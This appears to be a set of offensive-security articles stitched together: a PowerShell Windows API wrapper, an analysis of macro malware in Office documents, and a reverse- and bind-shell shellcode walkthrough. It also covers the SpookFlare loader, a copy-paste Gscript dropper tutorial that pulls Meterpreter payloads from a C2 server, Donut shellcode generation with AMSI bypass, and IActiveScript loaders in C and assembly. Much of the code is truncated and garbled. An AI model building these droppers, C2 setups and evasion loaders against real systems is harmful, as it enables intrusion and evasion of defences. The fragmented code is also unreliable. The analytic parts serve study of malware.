.SYNOPSIS
.DESCRIPTION
.EXAMPLE
#>
param (
[Parameter(Mandatory = $True)]
[string]$HostName
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
[DllImport("Netapi32.dll", SetLastError=true)]
Int32 Level,
int prefmaxlen,
[DllImport("Netapi32.dll", SetLastError=true)]
IntPtr Buffer);
"@
# NetSessionEnum params
else {
if ([System.IntPtr]::Size -eq 4) {
else {
$BufferOffset = $OutBuffPtr.ToInt64()
$Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
$Info
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
I have a small, sinister, domain set up at home which I use for testing/dev. You can see the
output of Invoke-NetSessionEnum below.
Conclusion
Hopefully this post has given you some ideas about incorporating Windows API calls in your
PowerShell scripts. Doing so means that there is really nothing which you can't achieve in
PowerShell. As I mentioned in the introduction, there is a way to avoid runtime C# compilation
by using .NET reflection, I highly recommend that you have a look at some of the examples in
the PowerSploit framework to see how this is done.
https://www.fuzzysecurity.com/tutorials/24.html
Several malware families are distributed via Microsoft Office documents infected with
malicious VBA code, such as Emotet, IceID, Dridex, and BazarLoader. We have also seen many
techniques employed by attackers when it comes to infected documents, such as the usage
of PowerShell and WMI to evade signature-based threat detection. In this blog post, we will
show three additional techniques attackers use to craft malicious Office documents.
The VBA code is automatically executed with the “AutoOpen” feature, and from extracted
macro code, we can see references to Windows APIs that are often used for process injection.
Going further, we can find a large array with integers, which are all the bytes of the shellcode.
And finally, we have the code that is responsible for executing the shellcode.
In this case, the code will be injected into “rundll32.exe” through a popular technique:
2. The code allocates a memory space in the process with VirtualAllocEx, named
“AllocStuff”;
3. The shellcode is written into the newly allocated space with WriteProcessMemory,
named “WriteStuff”.
4. Lastly, the shellcode is executed through CreateRemoteThread, named “CreateStuff”.
Once the shellcode is running, it contacts a malicious server to download the next stage, which
can be any additional malware the attacker desires.
This one is a bit more interesting than the first one, as the malicious VBA code is using a Living-
off-the-Land technique to carry out the attack.
After extracting the macro, we can see that the malware uses the “AutoOpen” feature to
execute two functions, respectively “DropThyself” and “EstablishThyself”.
The first called function creates a file named “GoogleUpdater.crt” and writes a large base64
content in the certificate format.
Function dropping the fake certificate in the disk.
The file is a base64 encoded executable, which is the second stage of the malware. The
content is decoded through a Living-off-the-Land technique using the “certutil.exe” binary.
This is the same technique that was used by the REvil ransomware in the Kaseya attack, where
the attacker claimed to have infected more than one million devices around the world.
After the second stage is decoded, the VBA function “EstablishThyself” creates a simple
persistence through Windows registry.
In this case, the payload is an agent from a .NET Command & Control framework
named Covenant. The file is packed and once running, the entry point executes a shellcode
through VirtualAlloc, VirtualProtect, and CreateThread APIs.
Shellcode allocated and
executed.
Since Covenant is developed in .NET, we can decompile the binary to extract additional
information about the agent.
Final payload decompiled.
This technique is similar to the first one, however, the shellcode is executed through
obfuscated PowerShell.
And again we see the “AutoOpen” feature of VBA Macro being used. At the beginning of the
code, we see a large string being concatenated, likely to evade detection.
Later, the script is executed through a shell object, where the VBA code also uses
concatenation in its strings:
PowerShell being executed by the code.
After running the script, the macro shows a fake error message to deceive the victim.
The main PowerShell script is encoded with base64, and once we decode it, it’s possible to see
APIs related to process injection and a large array of bytes, similar to the first technique.
The shellcode is also very similar to the one found in the first technique.
Shellcode execution.
Conclusion
We have reviewed three different techniques that are being used by attackers to deliver
malware through Microsoft Office documents containing malicious VBA code. It’s interesting
to note that despite the differences between them, they are all abusing the “AutoOpen”
function within the VBA macros to execute the malware once the document is opened and the
user has enabled macros.
The above techniques demonstrate the importance of a strong security solution, as well as
security training since these attack vectors can be avoided by not opening unknown
attachments, or not enabling macro execution from unknown documents.
Moreover, Microsoft has recommended blocking the macro execution through group policy
settings by the enterprise administrator in Office 2016 onwards.
https://www.netskope.com/pt/blog/malicious-office-documents-multiple-ways-to-deliver-
payloads
https://blog.securityevaluators.com/creating-av-resistant-malware-part-3-fdacdf071a5f
The following command is used to generate a powershell script which will execute the reverse
shell payload:
The purpose of the Powershell script is to allocate a new memory area using VirtualAlloc and
execute the shellcode in the context of a new thread created using CreateThread function, as
shown below:
Figure 1
Usually the script is encoded with Base64 because this way the attacker is able to execute it
using -EncodedCommand option. We can decode the shellcode using base64 command with -d
parameter:
Figure 2
Figure 3
Now the idea is to transform the shellcode to an executable which can be debugged using
x32dbg. The first step to achieve this is to prepend each byte with “\x” because that’s the form
of the input the tool used to convert the shellcode expects, as shown in figure 4:
Figure 4
Figure 5
If we open shellcode.exe in IDA and x32dbg we are able to analyze the binary as usual. We
could use an online disassembler (https://onlinedisassembler.com/odaweb/) to determine if
there is a chance that the shellcode has been generated using msfvenom:
Figure 6
Firstly the process tries to load the DLL which contains socket functions (ws2_32.dll) using
LoadLibraryA API:
Figure 7
After the library is loaded into the memory of the process, it calls WSAStartup function to
initiate the use of the Winsock DLL by the current process:
Figure 8
The WSASocketA API is used to create a socket, the parameters are described as follows:
• protocol = 0x00 – the service provider will choose the protocol to use
• lpProtocolInfo = 0x00
Figure 9
The binary is using the “connect” function to establish a connection to a specified socket. The
data structure that the second parameter is pointing to contains the port value (0x1BB = 443 in
decimal) and the IP address (0xC0A8A481 = 192.168.164.129) which will be used to get a
reverse shell:
Figure 10
After the function call, we can see a connection back to our attacker machine:
Figure 11
The malicious process executes cmd.exe by calling CreateProcessA with the required
parameters as shown in the next figure. This step is necessary in order to have a shell on the
victim host:
Figure 12
Figure 13
Now the process is calling WaitForSingleObject API with INFINITE parameter (0xffffffff) and
then it enters a waiting state because of it. This will end when the reverse shell would be
killed:
Figure 14
At the end of the execution, the malicious process uses ExitProcess function (with an exit code
of 0) to end the current process and all its threads:
Figure 15
Note: All of the API functions are located in the memory of the process based on some hashes
of the function names. We can summarize the flow of the execution as follows: WSAStartup ->
WSASocketA -> connect -> CreateProcessA -> WaitForSingleObject -> ExitProcess. We will
construct a similar chain for the bind shellcode in the next paragraphs.
For the second part of the article we’ve generated a powershell script which ran a bind shell
payload (port = 4444 by default):
As before, we’ve decoded the base64 encoded payload and converted to an executable called
shellcode2.exe using Shellcode2exe python script. We’re going to debug the new executable
using x32dbg and we’ll compare the flow of the execution with the first one. As in the first
case, the first step is to load ws2_32.dll library using LoadLibraryA function:
Figure 16
The process performs a call to WSAStartup API in order to initiate the use of the Winsock DLL:
Figure 17
As before the binary creates a new socket using WSASocketA function. The parameters of the
function call are the same as in the first case:
Figure 18
Starting with the next function calls the flow of the program is changing. There is a call to bind
function where we can observe the address family equal to 0x02 (AF_INET) and the port which
will be open on the machine (0x115c = 4444 in decimal):
Figure 19
Now the socket is placed in a state to listen for incoming connections using the listen API. The
first parameter is a descriptor of the socket and the second one is called backlog and
represents the maximum length of the queue of pending connections:
Figure 20
The process is using the accept function to allow an incoming connection attempt on the
socket. The first parameter is a descriptor of the socket that was placed in a listening state and
the other parameters are optional and set to 0:
Figure 21
Now we’re connecting to the victim machine using the following command:
If anything went wrong and the connection is not successful, the program closes the socket
using closesocket API:
Figure 22
Now we reach the point where everything went smoothly. As before the malicious program
spawns a cmd.exe process using CreateProcessA function in order to have a shell on the victim
host:
Figure 23
We’ve successfully performed all the necessary steps in order to obtain a shell on the machine:
Figure 24
As before there is a call to WaitForSingleObject API with INFINITE parameter (0xffffffff) which
pauses the current process until the shell is killed/closed:
Figure 25
As a final step the binary is using ExitProcess function to finish the current process and all its
threads:
Figure 26
Note: The chain of API calls for the 2nd payload: WSAStartup -> WSASocketA -> bind -> listen -
> accept -> CreateProcessA -> WaitForSingleObject -> ExitProcess
References
https://gchq.github.io/CyberChef/
https://www.aldeid.com/wiki/Shellcode2exe
https://onlinedisassembler.com/odaweb/
https://docs.microsoft.com/en-us/windows/win32/api/
JSCript Dropper
JSCript Meterpreter
SpookFlare has a different perspective to bypass security measures and it gives you the
opportunity to bypass the endpoint countermeasures at the client-side detection and network-
side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc.
SpookFlare has obfuscation, encoding, run-time code compilation and character substitution
features. So you can bypass the countermeasures of the target systems like a boss until they
"learn" the technique and behavior of SpookFlare payloads.
• Obfuscation
• Encoding
• Character Substitution
Version : 2.0
Twitter : @hlldz
Github : @hlldz
[*] You can use "help" command for access help section.
ID | Payload | Description
----+------------------------+------------------------------------------------------------
https://github.com/hlldz/SpookFlare
In this post, we’re creating a cross-platform payload dropper with an advanced, yet easy-to-
use payload delivery framework called Gscript. Much like the “Infrastructure as Code”
approach from DevOps, Genesis Framework (Gscript) enables the use of simplified code to
configure and calibrate payload delivery and behavior.
Since Gscript uses small blocks of code that can be included in other Gscript files (.gs), it
becomes very easy to atomically define our dropper’s behavior, and adapt the final payload
with elegantly chained presets and payloads. Gscript also includes obfuscation features, as
well as a standard library.
Knowing how to code in either Javascript or Golang is not required, although some general
coding experience will be helpful.
-Reading this post, you can just copy and paste as described, replacing the IP value with your
C2’s IP (yey repeatable operations ✨).-
The creators presented Gscript at DEFCON 22, and included a large number of examples in a
separate repository here. This post is heavily inspired by this example.
Finally, they also shared the slides from the Gscript workshop here, which I also highly
recommend.
This post acts as a small walk-through for deploying a cross-platform payload delivery
backend, with a side of Docker containers to keep things quick & clean.
What
We’re going to set up Metasploit to deliver a Meterpreter payload for both Windows and
Linux.
In a Gscript file (.gs), we’re going to create a Gscript dropper that will check the OS, then
fetch and execute the second stage payload according to the OS.
We’ll then compile the script to an executable for both Windows and Linux.
The ideal setup is running the Docker host on a VPS somewhere in a data center.
How
We’ll first spin up Metasploit with a resource file containing all the setup instructions.
Once the C2 is live, we’ll use the generated URLs in a Gscript file. The code will be compiled
using the Gscript container.
C2 setup is similar to the Introduction to Modern Routing for Red Team Infractures post if
you have read it.
Setup
Docker
This post assumes you’ve already installed Docker. If not, check out the official
documentation. It should be no more than a few copy/pastes.
Building the Genesis Framework image
First, we’re going to create a clean working environment on our remote host with an empty
shared folder, and pull the Gscript repository.
$ mkdir gscript_tests
$ cd gscript_tests
$ mkdir shared
The ./shared/ folder will be used as a shared folder between our containers and our host.
Let’s build the Gscript container with the latest code from the master branch.
I had to add an ENV variable line 13 to avoid system locales breaking the build. Keep in mind
this might be coming from my end since my locale is in omelette du fromage 🇫🇷.
Copy
If you wish to use the stable version instead, you can run:
Copy
Metasploit
We’re targeting both Windows x64 and Linux x64 using a Meterpreter reverse_tcp payload.
In the shared folder, let’s create a Metasploit resource file to automate payload generation
and callback listener.
Alternatively, you may also start ./msfconsole without any resource file and configure it
manually.
$ nano ./shared/msf_gscript.rc
Copy
Here are the options to set for Metasploit. You can edit and copy them directly to the
resource file that we’ll mount to the Metasploit container.
Copy the following in the file, replace YOUR-C2-EXT-IP, save and exit:
use exploit/multi/script/web_delivery
set target 5
run
set target 6
run
$ ./msfconsole -r /shared/msf_gscript.rc
Copy
You’ll get an output showing you the payload URLs, and the associated command to run if
you want to run the payload from shell directly.
Please note that we’re generating a vanilla meterpreter which will get caught by Windows
Defender. Be sure to turn Real-Time protection Off when performing these tests. Here’s a
nice documentation on evasion.
Gscript
Our Gscript file is basically JavaScript that can optionally import Golang modules.
Gscript will look for a function called Deploy() as entry point. Here are the general
instructions of the code below:
• We’re first going to import the Golang os library to determine the host’s OS, and
setting a timeout.
• Our entry point, the Deploy() function will generate a random name for our incoming
payload, and work out the temporary path based on the OS.
• Based on the OS, we build the payload’s full path, and call the Drop() function.
• The Drop() function fetches the payload according to the URL defined for the target’s
OS, and writes it to the full path.
Open a new shell to your Docker host. Open the new Gscript file:
$ cd gscript_tests
$ nano ./shared/double_delivery.gs
Copy
//timeout:150
//go_import:os as os
return true;
function Deploy() {
if (OS == "windows") {
//if windows
fullpath = tmppath+"\\"+final_bin+".exe";
Drop(windows_url, fullpath);
} else {
fullpath = tmppath+"/"+final_bin;
Drop(linux_url, fullpath);
return true;
Copy
This is the condensed version. A version including error checks and console outputs can be
found here
Let’s launch the Gscript container we built earlier and mount our shared folder.
Copy
When compiling the dropper, you can either choose to compile with obfuscation, disabling
console and debug messages, or without obfuscation, enabling console messages. You can
also enable upx compression, additional imports and more with build args. You can check
out the documentation for compilation here.
Copy
Copy
We can now exit the Gscript shell and serve the generated files to our targets. We’re going
to serve the payloads through a simple HTTP web server. In this case we’re using Python 2,
but you can now distribute the binaries in the shared/ directory.
[CTRL+d]
$ cd shared
Copy
Going further
Now that we can easily deploy C2s, wouldn’t it be nice if we could have clean way of creating
redirectors, proxies or fronting technics, with repeatable deployment configuration?
If that tickles your fancy, be sure to check out my previous post; Introduction to Modern
Routing for Red Team Infracture for doing just that. It comes with a clean interface for
monitoring your services too!
Introduction
Donut is a shellcode generation tool created to generate native shellcode payloads from .NET
Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows
processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such
as Program.Main), it produces position-independent shellcode that loads the Assembly from
memory.
Today, we are releasing a version that adds the capability to generate shellcode from other
types of payloads. It also includes (long awaited) Python bindings, a new safety option, and
many small miscellaneous improvements.
Module Types
If you have wondered why we have not yet release v1.0, it is because we went down a rabbit
hole.
We realized that, fundamentally, Donut is not just a tool for generating shellcode from .NET
Assemblies but it can also be used as a framework for generating shellcode from arbitrary
payload types. It is composed of the following elements:
• Payload.c, which dynamically determines the payload type, loads it with the
appropriate loader logic, and performs other functionalities such as decrypting the
payload, running bypasses, and cleaning up memory.
• Exe2h.c, which extracts code from the .text section of payload.exe and saves it to a C
array to be used in building the final PIC.
• Donut.c, the generator that transforms your payload into a Donut Module (your
payload, and everything about it), creates a Donut Instance (an encrypted data
structure that is the unit of execution for the Donut loader), and the PIC
of Payload.exe with a Donut Config (tells the loader where to find the Instance) in
order to produce the final shellcode.
To demonstrate the capabilities of this framework, we added several new Module types. All of
them are types of payloads that enable similar tradecraft to generating shellcode from .NET
Assemblies. At this time, we do not plan on adding additional module types to Donut. Those
included in this release are sufficient to demonstrate the potential of the framework. With the
examples and documentation that we have provided, you should have everything that you
need to integrate a new loader and generate shellcode from your favorite type of payload.
However, I leave open the possibility that we may go down additional rabbit holes in the
future. :-)
VBScript/JScript (IActiveScript)
In ancient eras (before PowerShell) there was Visual Basic. Designed as an object-oriented
scripting language for Windows operating systems, it became a universal tool for
administrators seeking to avoid the hell that is Batch scripting. People liked Visual Basic. They
liked it waaaaay toooooo muuuuuch. So Microsoft integrated it into everything. everything.
And they made variants of it. so many variants. One of those variants was VBScript, which used
COM to access and manage many components of the operating system. As with anything
useful for admins, it was quickly adopted by malware authors. Recently, it has regained
popularity in offensive tooling due to the amount of ways it can be loaded from memory or
through application whitelisting bypasses.
Its better-bred cousin is JScript, the bastard child of JavaScript, COM, and .NET. Like VBScript, it
also has free reign of the COM APIs, is sort of interoperable with .NET, and can be loaded from
memory. Microsoft created it to act as either a web scripting language (for Internet Explorer)
or client-side scripting language for system administrators. Shockingly, malware authors
decided to abuse it for browser breakouts and RATs.
Both languages have access to the Windows Scripting Host, a system that allows them access
to operating system features like running shell commands. Between their access to managed
and unmanaged APIs, COM, and tons of other useful/dangerous tools, they have each
provided powerful platforms for obtaining initial access and running post-exploitation scripts.
This has made them weapons of choice in many payload types like SCT, XML, and HTA through
a variety of execution vectors.
Both JScript and VBScript are based on a generic scripting framework called ActiveScript built
on a combination of COM and OLE Automation. Developers could also create additional
scripting languages through COM modules, leading to Active implementations of third-party
languages like Perl and Python. The Active Script engine is exposed through the COM
interface IActiveScript, which allows the user to execute arbitrary scripting code through any
installed Active Script language module. We wrote a wrapper for it that allows you to load any
ActiveScript-compatible scripting language from memory.
All this to say: you can now take your existing JScript/VBScript payloads and execute them
through shellcode. We go ahead and disable AMSI for you, and ensure that Device Guard
won’t prevent dynamic code execution.
If you would like to learn more about how this works, you can read the related blog post by
Odzhan.
XSL (Microsoft.XMLDom)
XSL files are XML files that can contain executable scripts. Theoretically, they are supposed to
be used to transform the representation of data in XML. Microsoft built many tools and
utilities for executing XSLT (XSL Transforms) into the Windows OS. Practically, however, they
are mostly used as payloads by malware authors. Perhaps the most well-known example is the
now-patched-ish Squiblytwo Application Whitelisting Bypass that could execute remotely-
hosted code from memory.
The Microsoft.XMLDOM COM object allows for XSL transformation. It can either execute
XSL from disk or from memory, containing JScript, VBScript, or C#. For v0.9.2 of Donut, we
have created a module type that utilizes this COM object to load and execute XSL files from
memory. Any script that can normally execute through that COM object should be viable as a
payload for Donut. Please note, there are slight differences in how Microsoft.XMLDOM and
WMIC.exe transform XSL that I have not fully explored. If you would like to learn more about
how this works, you can read the related blog post by Odzhan.
I feel that I must bring up the question: Is this useful? Honestly, I’m not sure that it is. But it
was relatively easy to get working, nobody else has done it before, and we finished it before
the IActiveScript loader (which is probably more useful), so why throw out the functionality? If
for some strange reason you DO want to execute XSL files through shellcode, then that is now
a thing that you can do. You strange, strange person.
If you are a more normal person, you may want to execute unmanaged DLLs and EXEs instead.
Using the standard format of Windows executables, unmanaged PE files are a simple unit of
execution for exploits and post-exploitation payloads. However, their severe disadvantage is
that they are designed to be run from disk by the Windows loader. Modern offensive
tradecraft hopes to presume that all payloads are run from memory, rather than from disk. As
such, there is a long history of tool creators crafting various means by which to load PEs from
memory. Some people convert them to shellcode, others write PE loaders, we have done both
at the same time. We wrote a PE loader, that is itself converted to shellcode. Your PE is
wrapped in an encrypted Donut Module and can be loaded from memory like any other
Module type.
By default, the PE loader will execute whatever the Entry Point of your executable is (as
specified by the PE headers). For EXEs, that is the main entry point. For DLLs, that would
be DLLMain with DLL_PROCESS_ATTACH. For DLLs, you may optionally specify an exported
function and pass in parameters as strings.
Generating shellcode for PE files works similar to Assemblies. If you wish to specify any
exported function and parameters you may do so.
.\donut.exe -f .\payload\test\hello.dll
If you would like to learn more about how this works, you can read this blog post by Odzhan.
There are inherant dangers to injecting PE files into processes. DLLs are usually not very
dangerous, but EXEs are risky. If your EXE tries to use any Windows subsystem or exit the
process, it will do exactly that. None of the safety mechanisms in .NET exist when executing
unmanaged code. So, if you inject an EXE into a GUI process (one with existing windows) that
was designed to be used as a console application and it therefore attempts to use the
subsystems for console output, it may crash the process. The reverse is also true. Simply put,
Your Mileage May Vary with injecting PE files. We cannot provide you with any protections or
extra reliability when we execute your code. Generating the shellcode is up to us. Injecting it
safely is up to you. :-)
Memory Permissions
An undocumented “feature” of previous Donut versions was that its shellcode only ran
from RWX memory. If you attempted to execute it from RX memory then it would crash… as
multiple people messaged me about. :-D We fixed that for Donut v0.9.2. You may now pretend
that you are not as evil as you are.
The first bit of Donut shellcode allocates RW memory in the current process. It performs all
decryption and other tasking that needs to execute from W memory from there, then
continues to execute appropriately. As such, the actual payload needs only to be run
from RX memory.
Donut API
We did not want to add additional wrappers or generators (Python, C#, etc.) for Donut until
our API had been stabilized. At this point, we consider it stable enough to move forward with
those plans. Many small fixes, improvements, and changes were made to the inner workings of
Donut for v0.9.2. Too many to detail. Overall, the API and its internals have been cleaned up
and should be more future-proof than before.
Other than adding new types of payloads, we added one small feature to Donut. A -b option
that can prevent the payload from being loaded if the bypasses fail to execute for any reason.
We do not know of any AV or EDR that currently prevents our bypasses. But if they fail for any
reason then you can reduce the likelihood of detection by ensuring that your payload is not
passed to AMSI. The full set of options are below.
Python Bindings
Demonstrating our API is a new Python 3 binding for Donut written by Marcello Salvati
(byt3bl33d3r). It exposes Donut’s DonutCreate API call to Python code, allowing for dynamic
generation of Donut shellcode with all of the normal features. He also added support for PyPi,
meaning that you can install Donut locally or from the PyPi repositories using pip3.
Examples
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.js")
f = open("shellcode.bin", "wb")
f.write(shellcode)
f.close()
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")
Creating shellcode from an unmanaged DLL, using the exported function DonutAPI, and
passing in 4 parameters.
And, of course, creating shellcode from a .NET Assembly, specifying many options.
shellcode =
donut.create(file=r"C:\Tools\Source\Repos\donut\DemoCreateProcess\bin\Release\ClassLibra
ry.dll", params="notepad.exe,calc.exe", cls="TestClass", method="RunProcess", arch=1,
appdomain="TotallyLegit")
The full documentation for these Python bindings can be found in our docs folder.
MSVC Compatability
Due to recent changes in the MSVC compiler, we will only support 2019 and later versions of
MSVC in future versions of Donut. Mingw support will remain the same.
Conclusion
What’s next? In the short-term, we are taking a break from Donut until Octoberish. Both
Odzhan and I are working on seperate process injection libraries. His will be an awesome
library of techniques. Mine will be a small set of implementations for SharpSploit that are
designed to be as reliable, safe, and flexible as possible. Afterwards, we will resume work
towards v1.0 of Donut.
https://thewover.github.io/Bear-Claw/
A DynaCall() Function for Win32 was published in the August 1998 edition of Dr.Dobbs Journal.
The author, Ton Plooy, provided a function in C that allows an interpreted language such as
VBScript to call external DLL functions via a registered COM object. An Automation Object for
Dynamic DLL Calls published in November 1998 by Jeff Stong built upon this work to provide a
more complete project which he called DynamicWrapper. In 2011, Blair Strang wrote a tool
called vbsmem that used DynamicWrapper to execute shellcode from VBScript.
DynamicWrapper was the source of inspiration for another tool called DynamicWrapperX that
appeared in 2008 and it too was used to execute shellcode from VBScript by Casey Smith.
The May 2019 update of Defender Application Control included a number of new policies, one
of which is “COM object registration”. Microsoft states the purpose of this policy is to enforce
“a built-in allow list of COM object registrations to reduce the risk introduced from certain
powerful COM objects.” Are they referring to DynamicWrapper? Possibly, but what about
unregistered COM objects? Robert Freeman/IBM demonstrated in 2007 that unregistered
COM objects may be useful for obfuscation purposes. His Virus Bulletin presentation Novel
code obfuscation with COM doesn’t provide any proof-of-concept code, but does demonstrate
the potential to misuse the IActiveScript interface for Dynamic DLL calls without COM
registration.
Windows Script Host (WSH)
WSH is an automation technology available since Windows 95 that was popular among
developers prior to the release of the .NET Framework in 2002. It was primarily used for
generation of dynamic content like Active Server Pages (ASP) written in JScript or VBScript. As
.NET superseded this technology, much of the wisdom developers acquired about Active
Scripting up until 2002 slowly disappeared from the internet. One post that was recommended
quite frequently on developer forums is the Active X FAQ by Mark Baker, which answers most
questions developers have about the IActiveScript interface.
Below is a snippet of code for displaying active script engines using the second approach.
See full version here.
void DisplayScriptEngines(void) {
HRESULT hr;
CLSID clsid;
// initialize COM
CoInitialize(NULL);
hr = CoCreateInstance(
CLSID_StdComponentCategoriesMgr,
0, CLSCTX_SERVER, IID_ICatInformation,
(void**)&pci);
if(hr == S_OK) {
1, &CATID_ActiveScriptParse, 0, 0, &pec);
if(hr == S_OK) {
for(;;) {
ZeroMemory(path, ARRAYSIZE(path));
ZeroMemory(desc, ARRAYSIZE(desc));
if(hr != S_OK) {
break;
ProgIDFromCLSID(clsid, &progID);
StringFromCLSID(clsid, &idStr);
wprintf(L"\n*************************************\n");
CoTaskMemFree(progID);
CoTaskMemFree(idStr);
pec->Release();
pci->Release();
}
The output of this code on a system with ActivePerl and ActivePython installed :
*************************************
CLSID : {16D51579-A30B-4C8B-A276-0FF4DC41E755}
Program ID : JScript
*************************************
CLSID : {989D1DC0-B162-11D1-B6EC-D27DDCF9A923}
Program ID : XML
*************************************
CLSID : {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript
*************************************
CLSID : {B54F3743-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript.Encode
*************************************
CLSID : {CC5BBEC3-DB4A-4BED-828D-08D78EE3E1ED}
Program ID : JScript.Compact
CLSID : {DF630910-1C1D-11D0-AE36-8C0F5E000000}
Program ID : Python.AXScript.2
*************************************
CLSID : {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript
*************************************
CLSID : {F414C262-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript.Encode
*************************************
CLSID : {F8D77580-0F09-11D0-AA61-3C284E000000}
Program ID : PerlScript
The PerlScript and Python scripting engines are provided by ActiveState. I would recommend
using {16D51579-A30B-4C8B-A276-0FF4DC41E755} for JavaScript.
C Implementation of IActiveScript
During research into IActiveScript, I found COM in plain C, part 6 by Jeff Glatt to be helpful. The
following code is the bare minimum required to execute VBS/JS files and does not support
WSH objects. See here for the full source.
IActiveScriptParse *parser;
IActiveScript *engine;
MyIActiveScriptSite mas;
IActiveScriptSiteVtbl vft;
LPVOID cs;
DWORD len;
CLSID langId;
HRESULT hr;
CLSIDFromProgID(lang, &langId);
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoCreateInstance(
&langId, 0, CLSCTX_INPROC_SERVER,
engine->lpVtbl->QueryInterface(
engine, &IID_IActiveScriptParse,
(void **)&parser);
parser->lpVtbl->InitNew(parser);
vft.QueryInterface = (LPVOID)QueryInterface;
vft.AddRef = (LPVOID)AddRef;
vft.Release = (LPVOID)Release;
vft.GetLCID = (LPVOID)GetLCID;
vft.GetItemInfo = (LPVOID)GetItemInfo;
vft.GetDocVersionString = (LPVOID)GetDocVersionString;
vft.OnScriptTerminate = (LPVOID)OnScriptTerminate;
vft.OnStateChange = (LPVOID)OnStateChange;
vft.OnScriptError = (LPVOID)OnScriptError;
vft.OnEnterScript = (LPVOID)OnEnterScript;
vft.OnLeaveScript = (LPVOID)OnLeaveScript;
mas.site.lpVtbl = (IActiveScriptSiteVtbl*)&vft;
mas.siteWnd.lpVtbl = NULL;
mas.m_cRef = 0;
engine->lpVtbl->SetScriptSite(
len = MultiByteToWideChar(
len *= sizeof(WCHAR);
cs = malloc(len);
len = MultiByteToWideChar(
parser->lpVtbl->ParseScriptText(
engine->lpVtbl->SetScriptState(
engine, SCRIPTSTATE_CONNECTED);
// 5. cleanup
parser->lpVtbl->Release(parser);
engine->lpVtbl->Close(engine);
engine->lpVtbl->Release(engine);
free(cs);
x86 Assembly
Just for illustration, here’s something similar in x86 assembly with some limitations imposed:
The script should not exceed 64KB, the UTF-16 conversion only works with ANSI(latin alphabet)
characters, and the language (VBS or JS) must be predefined before assembling. When
declaring a local variable on the stack that exceeds 4KB, compilers such as GCC and MSVC
insert code to perform stack probing which allows the kernel to expand the amount of stack
memory available to a thread. There are of course compiler/linker switches to increase the
reserved size if you wanted to prevent stack probing, but they are rarely used in practice. Each
thread on Windows initially has 16KB of stack available by default as you can see by
subtracting the value of StackLimit from StackBase found in the Thread Environment Block
(TEB).
0:004> !teb
TEB at 000000f4018bf000
ExceptionList: 0000000000000000
StackBase: 000000f401c00000
StackLimit: 000000f401bfc000
SubSystemTib: 0000000000000000
FiberData: 0000000000001e00
ArbitraryUserPointer: 0000000000000000
Self: 000000f4018bf000
EnvironmentPointer: 0000000000000000
RpcHandle: 0000000000000000
LastErrorValue: 0
LastStatusValue: 0
HardErrorMode: 0
The assembly code initially used VirtualAlloc to allocate enough space, but since this code is
unlikely to be used for anything practical, the stack is used instead.
; Odzhan
%include "ax.inc"
%define VBS
bits 32
%ifndef BIN
global run_scriptx
global _run_scriptx
%endif
run_scriptx:
_run_scriptx:
cdq ; edx = 0
push 32 ; ecx = 32
pop ecx
alloc_mem:
jnz utf8_to_utf16 ;
; *******************************
; *******************************
invoke_api:
pushad
push TEB.ProcessEnvironmentBlock
pop ecx
jmp get_dll
next_dll:
get_dll:
; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
mov ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress]
jecxz next_dll
lodsd
; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lodsd
; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
lodsd
; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
lodsd
get_name:
pushad
cdq ;h=0
hash_name:
lodsb
dec eax
jns hash_name
popad
jmp eax
_ds_section:
; ---------------------
db "ole32", 0, 0, 0
co_init:
db "CoInitializeEx", 0
co_create:
db "CoCreateInstance", 0
; IID_IActiveScript
; IID_IActiveScriptParse32 +1
dd 0xbb1a2ae1
dw 0xa4f9, 0x11cf
%ifdef VBS
; CLSID_VBScript
dd 0xB54F3741
dw 0x5B07, 0x11cf
; CLSID_JScript
dd 0xF414C260
dw 0x6AC0, 0x11CF
%endif
_QueryInterface:
retn 3*4
_AddRef:
_Release:
push eax
push eax
_GetLCID:
_GetItemInfo:
_GetDocVersionString:
push eax
push eax
_OnScriptTerminate:
retn 3*4
_OnStateChange:
_OnScriptError:
jmp _GetDocVersionString
_OnEnterScript:
_OnLeaveScript:
jmp _Release
init_api:
pop ebp
lea esi, [ebp + (_ds_section - invoke_api)]
; LoadLibrary("ole32");
lodsd
; 1. _CoInitializeEx(NULL, COINIT_MULTITHREADED);
cdq ; edx = 0
; 2. _CoCreateInstance(
; &langId, 0, CLSCTX_INPROC_SERVER,
movsd
movsd
movsd
movsd
push CLSCTX_INPROC_SERVER
push 0 ;
; engine->lpVtbl->QueryInterface(
; engine, &IID_IActiveScriptParse,
; (void **)&parser);
; 4. Initialize parser
; parser->lpVtbl->InitNew(parser);
; 5. Initialize IActiveScriptSite
inc eax
inc eax
; engine->lpVtbl->SetScriptSite(
; parser->lpVtbl->ParseScriptText(
push 8
pop ecx
init_parse:
push eax ;0
loop init_parse
; 8. Run script
; engine->lpVtbl->SetScriptState(
; engine, SCRIPTSTATE_CONNECTED);
push SCRIPTSTATE_CONNECTED
push esi
; 9. cleanup
